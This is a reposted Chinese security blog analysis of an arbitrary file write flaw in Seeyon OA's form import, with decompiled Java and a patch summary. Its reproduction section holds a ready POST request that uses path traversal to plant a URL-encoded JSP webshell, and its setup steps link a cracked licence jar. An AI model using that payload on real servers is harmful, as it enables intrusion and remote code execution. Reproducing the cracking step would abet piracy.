致远oa表单导入任意文件写入漏洞分析

admin 2024年10月13日00:39:59评论31 views字数 7097阅读23分39秒阅读模式

环境搭建

  • 1
  • 2
链接:https://pan.baidu.com/s/1d9BgbCkV82WG1TCwXvmMDA?pwd=h7kz 
提取码:h7kz
  • (1)安装mysql数据库(针对A8版本)。创建一个新的数据库,字符集设置为UTF-8。如果是A6版本,如 A6v6.1、A6v6.1sp1、A6v6.1sp2,默认使用内嵌在安装包中的postgresql作为数据库,无需单独安装
  • (2)获取安装文件。Seeyonxxx.zip(安装包)、jwycbjnoyees.jar(破解补丁)
  • (3)在安装包中点击要安装版本.bat文件,如/inst/SeeyonA6-1Install_real.bat
  • (4)按照弹出的安装程序确认安装路径、配置数据库等(安装过程需要断网,否则检测到不是最新版无法进行下一步)。如果是A6版本,到数据库配置阶段可以修改postgres用户的密码。另外,针对A6版本,postgresql安装完成后不会设置Windows服务项,重启机器后再次启动会比较麻烦,可使用如下命令注册一个名为pgsql的服务项。后续可在Windows服务管理里启停postgresql服务
  • 1
cd C:SeeyonA6V6.1SP2pgsql9.2.5bin pg_ctl.exe register -N "pgsql" -D "C:SeeyonA6A6V6.1SP2pgsql9.2.5data"
  • (5)安装最后一步是账号密码设置。A6-A8.0版本默认设置system账户的密码。A8.1版本可定义管理员账号、密码、普通用户初始密码、S1 Agent密码。
  • (6)安装破解补丁。如果服务已经启动,需要先关闭服务。首先备份安装目录A6ApacheJetspeedwebappsseeyonWEB-INFlib下的jwycbjnoyees.jar文件,然后将其替换成补丁文件后重启服务。补丁文件下载(此补丁针对A8.1):https://github.com/ax1sX/SecurityList/blob/main/Java_OA/jwycbjnoyees.jar
  • (7)服务启动。A6在确保postgresql数据库服务是启动的状态下,点击“致远服务”图标来启动服务。A8是通过agent+server的形式来部署的。所以需要先启动S1 Agent,通过双击SeeyonA8S1start.bat或点击SeeyonS1Agent图标都可以实现。然后再点击“致远服务”图标(等效于/S1/client/clent.exe),在其“服务启动配置”中添加Agent。
  • (8)默认端口是80,可以在“致远服务”的“服务启动配置”中点击Agent的配置选项,对HTTP端口和JVM属性进行更改。想要对致远进行调试,可以在修改/ApacheJetspeed/bin/startup.bat文件,添加如下内容。
  • 1
set JAVA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"

目录结构

致远oa表单导入任意文件写入漏洞分析

管理员权限运行 /inst/SeeyonA6-1Install_real.bat

致远oa表单导入任意文件写入漏洞分析
按照程序提示一步步安装即可。

运行程序

安装成功后的目录结构

致远oa表单导入任意文件写入漏洞分析

/ApacheJetspeed/bin/startup.bat 添加调试代码

致远oa表单导入任意文件写入漏洞分析

配置debug

致远oa表单导入任意文件写入漏洞分析

测试调试下断点

致远oa表单导入任意文件写入漏洞分析

generateInfopath 函数

漏洞文件:ApacheJetspeedwebappsseeyonWEB-INFlibseeyon-cap-corecomseeyoncap4formmodulesengindesignimplCAP4FormDesignManagerImpl.java

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
@Override  
@AjaxAccess  
@CheckRoleAccess(resourceCode={"govdoc_manage"}, roleTypes={OrgConstants.Role_NAME.EdocManagement, OrgConstants.Role_NAME.FormAdmin})  
public Map<String, Object> generateInfopath(Map<String, Object> params) throws BusinessException {  
    List atts;  
    String zipName;  
    String paramName = "files";  
    if (!params.containsKey(paramName)) {  
        throw new BusinessException("没有传入表单视图内容文件,请传入视图内容文件!");  
    }  
    HashMap<String, Object> resultMap = new HashMap<String, Object>();  
    Date date = new Date();  
    String fileId = String.valueOf(date.getTime());  
    String baseFolder = this.fileManager.getNowFolder(true);  
    Long subFolder = UUIDLong.absLongUUID();  
    String rootPath = baseFolder + File.separator + String.valueOf(subFolder) + File.separator;  
    List files = (List)params.get("files");  
    if (null != files && files.size() > 0) {  
        for (Map map : files) {  
            String fileName = (String)map.get("fileName");  
            String fileContent = (String)map.get("fileContent");  
            CapUtil.writeFile((String)rootPath, (String)fileName, (String)fileContent);  
        }  
    }  
    if (Strings.isNotEmpty((String)(zipName = String.valueOf(params.get("name"))))) {  
        zipName = zipName + ".zip";  
    }  
    if (null != (atts = (List)params.get("atts")) && atts.size() > 0) {  
        CtpLocalFile attFile = new CtpLocalFile(rootPath + "attachment" + File.separator);  
        if (!attFile.exists()) {  
            attFile.mkdirs();  
        }  
        try {  
            for (Map map : atts) {  
                Long imgFileId;  
                CtpFile file;  
                String fileUrl = (String)map.get("fileUrl");  
                String createDate = (String)map.get("createDate");  
                String attachmentName = (String)map.get("name");  
                if (Strings.isEmpty((String)attachmentName)) {  
                    attachmentName = UUIDLong.absLongUUID() + "";  
                }  
                if (null == (file = this.fileManager.getFile(imgFileId = Long.valueOf(Long.parseLong(fileUrl)), DateUtil.parse((String)createDate, (String)"yyyy-MM-dd"))) || !file.exists()) continue;  
                CtpFile destination = new CtpFile(rootPath + attachmentName);  
                if (!destination.exists()) {  
                    destination.createNewFile();  
                }  
                GlobalFileUtils.copyCtpFile((CtpFile)file, (CtpFile)destination);  
                LOGGER.info((Object)("u9644u4ef6(id:" + fileUrl + " createDate:" + createDate + ") u4e0du5b58u5728uff0cu65e0u6cd5u62f7u8d1duff01"));  
            }  
        }  
        catch (Exception e) {  
            LOGGER.error((Object)e.getMessage(), (Throwable)e);  
        }  
    }  
    CtpLocalFile rootFile = new CtpLocalFile(rootPath);  
    String toFileName = rootFile.getParent() + File.separator + fileId;  
    CtpLocalFile toFile = new CtpLocalFile(toFileName);  
    try {  
        ZipUtil.zip((CtpLocalFile)rootFile, (CtpAbstractFile)toFile, (boolean)false);  
        V3XFile v3XFile = this.fileManager.save((CtpAbstractFile)toFile, ApplicationCategoryEnum.global, zipName, DateUtil.currentDate(), Boolean.valueOf(true));  
        resultMap.put("fileId", v3XFile.getId());  
        resultMap.put("createDate", v3XFile.getCreateDate());  
    }  
    catch (Exception e) {  
        LOGGER.error((Object)e.getMessage(), (Throwable)e);  
    }  
    finally {  
        FileUtil.deleteFile((CtpLocalFile)rootFile);  
    }  
    return resultMap;  
}

主要实现写入文件的方法 CapUtil.writeFile((String)rootPath, (String)fileName, (String)fileContent);

致远oa表单导入任意文件写入漏洞分析

致远oa表单导入任意文件写入漏洞分析

跟着进去writeFile 方法

CapUtil.writeFile

文件路径:ApacheJetspeedwebappsseeyonWEB-INFlibseeyon-cap-api.jar!comseeyoncap4formutilCapUtil.class

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
public static void writeFile(String baseDir, String fileExt, String content) throws BusinessException {  
    CtpLocalFile file = new CtpLocalFile(baseDir);  
    if (!file.exists()) {  
        file.mkdirs();  
    }  
  
    CtpLocalFile destFile = new CtpLocalFile(baseDir, fileExt);  
    OutputStream fout = null;  
    PrintStream writer = null;  
  
    try {  
        fout = new FileOutputStream(destFile);  
        writer = new PrintStream(fout, false, "UTF-8");  
        writer.print(content);  
        writer.flush();  
    } catch (FileNotFoundException var12) {  
        logger.error(var12.getMessage(), var12);  
        throw new BusinessException("写入文件异常,未找到文件:" + var12.getMessage(), var12);  
    } catch (UnsupportedEncodingException var13) {  
        logger.error(var13.getMessage(), var13);  
        throw new BusinessException("写入文件异常,不支持的编码:" + var13.getMessage(), var13);  
    } finally {  
        IOUtils.closeQuietly(writer);  
        IOUtils.closeQuietly(fout);  
    }  
  
}

CtpLocalFile file = new CtpLocalFile(baseDir);  创建一个目录的对象,并 if 判断 file 目录是否存在,不存在就创建新文件夹。
CtpLocalFile destFile = new CtpLocalFile(baseDir, fileExt); 创建文件对象

  • 1
  • 2
  • 3
  • 4
fout = new FileOutputStream(destFile);  
writer = new PrintStream(fout, false, "UTF-8");  
writer.print(content);  
writer.flush();

创建一个文件输出流 fout,用于向目标文件写入数据。
创建一个 PrintStream 对象 writer,指定输出流和字符编码为 UTF-8。
使用 writer.print(content) 将内容写入文件,并使用 writer.flush() 确保所有内容都被写入。

致远oa表单导入任意文件写入漏洞分析

致远oa表单导入任意文件写入漏洞分析

成功写入文件

致远oa表单导入任意文件写入漏洞分析

漏洞复现

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
POST /seeyon/ajax.do?method=ajaxAction&managerName=cap4FormDesignManager HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive
Content-Length: 331
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Cookie: ts=1728653264995; JSESSIONID=EADD9E1D7E239870F85E73935AC9AD34; loginPageURL=; login_locale=zh_CN; avatarImageUrl=5995465946958220283
Host: 192.168.18.129:8085
RequestType: AJAX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0

managerMethod=generateInfopath&arguments={"files":[{"fileName":"../../../../../../ApacheJetspeed/webapps/seeyon/5.jsp","fileContent":"%3c%25%6f%75%74%2e%70%72%69%6e%74%28%6f%72%67%2e%61%70%61%63%68%65%2e%6a%61%73%70%65%72%2e%72%75%6e%74%69%6d%65%2e%50%61%67%65%43%6f%6e%74%65%78%74%49%6d%70%6c%2e%70%72%6f%70%72%69%65%74%61%72%79%45%76%61%6c%75%61%74%65%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%5c%22%63%6f%64%65%5c%22%29%2c%20%53%74%72%69%6e%67%2e%63%6c%61%73%73%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2c%20%6e%75%6c%6c%29%29%3b%25%3e"}]}

致远oa表单导入任意文件写入漏洞分析
致远oa表单导入任意文件写入漏洞分析

补丁

致远oa表单导入任意文件写入漏洞分析

对传入的路径和文件后缀进行过滤

致远oa表单导入任意文件写入漏洞分析

致远oa表单导入任意文件写入漏洞分析

参考文章

  • https://github.com/ax1sX/SecurityList/blob/main/Java_OA/SeeyonAudit.md
  • https://service.seeyon.com/patchtools/tp.html#/patchList?type=%E5%AE%89%E5%85%A8%E8%A1%A5%E4%B8%81&id=178

附上微信群,交流技术和划水聊天等,扫描下面二维码,添加我好友拉进群。

致远oa表单导入任意文件写入漏洞分析

原文始发于微信公众号(安全逐梦人):致远oa表单导入任意文件写入漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日00:39:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   致远oa表单导入任意文件写入漏洞分析https://cn-sec.com/archives/3260601.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息